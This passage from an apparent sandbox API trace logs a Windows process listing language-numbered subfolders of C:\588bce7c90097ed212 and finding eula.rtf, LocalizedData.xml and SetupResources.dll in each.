cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.145] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.145] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.145] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0131.145] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0131.147] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.147] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.148] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.149] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0131.149] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.149] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0131.149] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0131.150] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.150] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.151] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.151] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.151] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.151] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0131.152] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.152] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0131.152] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ad88 [0131.153] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.153] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.153] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.153] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.153] FindNextFileW (in: hFindFile=0x69ad88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.155] FindClose (in: hFindFile=0x69ad88 | out: hFindFile=0x69ad88) returned 1 [0131.155] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.155] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0131.155] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ab88 [0131.155] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.155] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.156] FindClose (in: hFindFile=0x69ab88 | out: hFindFile=0x69ab88) returned 1 [0131.156] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.156] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0131.156] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0131.157] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.157] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.158] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.158] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.158] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0131.158] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.158] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0131.159] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b348 [0131.160] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.160] FindNextFileW (in: hFindFile=0x69b348, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.164] FindClose (in: hFindFile=0x69b348 | out: hFindFile=0x69b348) returned 1 [0131.164] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.164] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0131.164] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0131.164] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, 